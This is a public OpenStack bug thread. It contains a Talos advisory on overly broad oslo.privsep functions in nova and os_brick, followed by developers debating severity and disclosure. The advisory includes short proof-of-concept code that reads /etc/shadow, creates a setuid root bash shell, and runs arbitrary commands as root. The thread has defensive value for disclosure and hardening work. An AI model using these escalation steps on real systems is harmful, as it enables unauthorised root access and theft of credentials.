Lax rulesets leading to privilege escalation vulnerabilities

[Jeremy Stanley]

[OpenStack's vulnerability managers received the following report via encrypted E-mail]

### Summary

A privilege escalation vulnerability exists in the oslo.privsep functionality of OpenStack git master 05194e7618 and prior. Overly permissive functionality within tools leveraging this library within a container can lead increased privileges.

### Confirmed Vulnerable Versions

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

OpenStack git master 05194e7618

### Product URLs

OpenStack - [https://opendev.org/openstack/](https://opendev.org/openstack/)

### CVSSv3 Score

8.8 - CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

### CWE

CWE-269 - Improper Privilege Management

### Details

OpenStack contains a number of tools, libraries, and services for providing simplified, powerful, and scalable cloud based applications.

OpenStack's [oslo.privsep](https://opendev.org/openstack/oslo.privsep) library "helps applications perform actions which require more or less privileges ... in a safe, easy to code and easy to use manner." An entry in sudoers is generally added to bootstrap oslo.privsep with the correct privileges when run from an unprivileged user such as `nova`.

The oslo.privsep [design documents](https://docs.openstack.org/oslo.privsep/latest/user/index.html) state the following:

    Privileged functions must be as simple, specialized and narrow as possible, so as to prevent further escalation. In this example,
    update_motd(message) is narrow: it only allows the service to overwrite the MOTD file. If a more generic update_file(filename, content) was created,
    it could be used to overwrite any file in the filesystem, allowing easy escalation to root rights. That would defeat the whole purpose of oslo.privsep.
    ...
    Provided the unprivileged<->privileged boundary contains any hole that effectively grants root to the caller, then there is little benefit to having the separation [provided by privsep]

Two modules were observed to have functions that were overly broad and allowed for trivial escalation to root. The `nova` [module](https://opendev.org/openstack/nova/blob/master/nova/privsep/path.py) contains privileged wrappers for `chmod`, `chown`, `rmdir`, and arbitrary file create/write/move/read. Second, the os_brick [module](https://opendev.org/openstack/os-brick/blob/master/os_brick/privileged/rootwrap.py) contains functions to execute arbitrary shell commands as root. The source file contains the following comment from 2016:

    Just in case it wasn't clear, this is a massive security back-door. [these wrappers] allow any command to be run as the privileged user (default "root").
    This is intended only as an expedient transition and should be removed ASAP.

Either of the above modules are sufficient to achieve privilege escalation to root. Other modules within OpenStack were not audited, but it is possible that similar issues exist elsewhere in the codebase.

### Crash Information

###### Method 1 (nova)

    from nova.privsep.path import *
    from oslo_config.cfg import CONF
    CONF.privsep_context = 'nova.privsep.sys_admin_pctxt'
    # Read /etc/shadow
    last_bytes("/etc/shadow", 1000)
    # Write to /etc/shadow
    writefile("/etc/shadow", "wb", b"<payload_here>")
    # Get a root shell
    os.system("cp /bin/bash /tmp/bash")
    chown("/tmp/bash", 0)
    chmod("/tmp/bash", 0o4755)
    os.system("/tmp/bash -p")
    bash-5.1#

###### Method 2 (os_brick)

    from os_brick.privileged.rootwrap import *
    from oslo_config.cfg import CONF
    import shlex # helpful for multi-arg commands
    CONF.privsep_context = 'os_brick.privileged.default'
    execute_root(*shlex.split("id"))
    ('uid=0(root) gid=0(root) groups=0(root)\n', '')

### Mitigation

Privileged functions in the `nova` and `os_brick` modules of OpenStack should be rewritten to be as specialized and narrowly tailored as possible; e.g. `chmod(path, mode)` should be replaced with a function that only applies pre-defined permissions on one or more pre-defined files.

Suggest auditing other modules that use oslo.privsep to identify similar issues.

### Credit

   Keane O&#39;Kelley of Cisco ASIG

https://talosintelligence.com/vulnerability_reports/

[Jeremy Stanley (fungi)]

Since this report concerns a possible security risk, an incomplete
security advisory task has been added while the core security
reviewers for the affected project or projects confirm the bug and
discuss the scope of any vulnerability along with potential
solutions.

For a bit of OpenStack background, the migration from our old "rootwrap" privilege escalation mechanism to oslo.privsep is ongoing. One of the early stepping stones projects took in order to be able to drop use of rootwrap was to port their extremely loose (more or less root-equivalent) sudoers rules to similarly unsafe privsep policies, with the intention of eventually replacing them with more fine-grained policies. I think it's safe to say many if not most OpenStack services are still effectively relying on having unrestricted system-wide root permissions. I also don't think we'll be able to safely backport any fixes (i.e. completion of the many-years-long rootwrap to privsep migration effort) to maintained stable branches, making this a class B1 or B2 in our report taxonomy: https://security.openstack.org/vmt-process.html#report-taxonomy

It's my opinion that we should switch this to a public security hardening bug and, if relevant, mark it as a duplicate of any existing bug reports about the incomplete state of privsep adoption, but I'm eager to hear from developers in the affected projects as to their position on this. Thanks!

[Ben Nemec (bnemec)]

I don't know that there's anything we can do about this in privsep itself. As noted in the report, the docs already recommend against designs like this, but there's nothing we can do to stop people from implementing overly broad functions.

I think this is mainly a result of the Nova privsep migration being left in a partially-completed state. Originally the plan was to do a 1:1 migration of rootwrap to privsep, and then re-work the privileged functions to better fit the privsep paradigm. Since the second step hasn't happened (to my knowledge), we're still left with this problem, which is largely a carryover from the rootwrap design.

[Dan Smith (danms)]

Jeremy, I agree that this is a long-term security-hardening opportunity and not a specific exploit that needs patching. Exploiting this would (or should) require escaping some service as that user (i.e. nova) in order to be able to run nova's privsep routines. If that's possible, that's something we would want to patch under embargo. Any user on the system shouldn't be able to exploit nova's privsep rules if the sudo rule properly restricts running privsep as the nova user.

[Stephen Finucane (stephenfinucane)]

As Ben notes, this is indeed as a result of our partial migration to privsep. As both Dan and Ben both hint at, the fact that privsep can do this simply proves that privsep is working. Unless there's something a user (as opposed to an operator) can do to exploit these overly broad filters, this doesn't feel like an exploit.

[Stephen Finucane (stephenfinucane)]

...which is all to say that yes, I'd be in favour of opening this as a public security hardening bug and marking duplicates where they exist.

[Michael Johnson (johnsom)]

I am not an expert on privsep, but do we know if the sockets are protected to the service account?

A quick search appears to point to /tmp locations:

https://opendev.org/openstack/nova/src/branch/master/etc/nova/rootwrap.d/compute.filters

[Rajat Dhasmana (whoami-rajat)]

From cinder/os-brick perspective, I discussed this with the core-sec team and we think the user from which we performed method#2 already had sudo priviledges and a normal user can't perform it.
Given the language of the issue, it doesn't look good to make it public since it doesn't convey the right information and might scare someone if they don't have proper context.
Though I agree on the hardening part that we should work on the privsep migration in os-brick.

[Jeremy Stanley (fungi)]

While the report from Talos may be missing significant historical context, it does reflect misconceptions users may broadly hold about OpenStack's security model and what degree of privilege separation is actually implemented for the back-end services/control plane. I don't think we can justify keeping a report secret simply because we fear what users might think if they found out that the design is different from what they may have imagined, but also it's our policy to prefer transparency and disclose these reports as quickly as possible in cases where we know they're not going to be resolved with backports to existing releases of the software.

[Sylvain Bauza (sylvain-bauza)]

I agree with all the above. Unless the user is accepted by sudoers to have root priviledges, it can't use privsep to get what they want from the kernel, so this isn't an exploit.

Apart from this, I don't have any opinion whether we should disclose this bug report or not. I don't really see any security issue by this, but maybe some operators would be afraid of seeing this report.
Well, so +0.

[sean mooney (sean-k-mooney)]

so this is a know public issue in my view there is an old mailing list thread about this and i have talked about this several times over the years in the ptg.

https://lists.openstack.org/pipermail/openstack-discuss/2019-March/004358.html
is the original mail thread form 2019 and i have had this conversation upstream at least 4 times in the ptgs since then and on several other locations.

so this is not a new CVE or security issue its an existing public issue

[Jeremy Stanley (fungi)]

Per the OpenStack VMT's report taxonomy, we should make this public unless there is the likelihood of identifying a fix which can be backported safely to all supported stable branches (before the 90-day embargo expires on 2022-12-06):

https://security.openstack.org/vmt-process.html#report-taxonomy

It does not sound like this is a probable outcome, so unless someone disagrees by the end of this week (2022-09-30), I'll go ahead and switch the report to the Public Security type (class B1 "can only be fixed in master"), after which time it will be allowable to refer to it in public discussions in order to better drive completion of the privsep migration among affected projects.

[sean mooney (sean-k-mooney)]

well the fix is simple but tedious
we have talked about reimplementing the privileged functions to have a narrow contract but
we have never had the capacity actually to go do that.

i have tried to stop other from repeating this design mistake
https://lists.openstack.org/pipermail/openstack-discuss/2021-March/021494.html
there i callout the chown , chmod and writefile issue raised in the report above

given this is a long-running know design limitation that has been discussed both in the ptg and mailing list many times and the example given for nova, in particular, are actually effectively the examples we used before I don't think that a new CVE should be created for this as it is not a new discovery but it is a valid security hardening opportunity so this probably should be Class D

for this to be vulnerable you would need to inject code into nova or os-brick or already have the ability to escalate via sudo or another means to spawn a new privsep process in addition to importing the nova code. if you had that capability it would be simpler just to write you won script that used privesep directly.

the only advantage to a B1 designation is i might finally be able to get this prioitesed as more then tech debt so that we can actually spend time fixing it but operators the effect is the same.
this is a hardening opportunity today not a new exploit vector.

[Jeremy Stanley (fungi)]

Seeing as there seems to be agreement and no dissent on the matter, I'm switching this to a public security hardening opportunity now. If there are other services which haven't completed the rootwrap to privsep migration yet (including rewriting their translated privsep rules to be more restrictive), we can add them as affected and use this to track it across projects.

[Balazs Gibizer (balazs-gibizer)]

As Sean explained it in #12 this is a valid hardening opportunity. So I marking this as Triaged.

[Jeremy Stanley (fungi)]

I missed setting the security advisory task to won't fix state when we decided on this as a security hardening opportunity, so have done so now (as it won't have any advisory issued).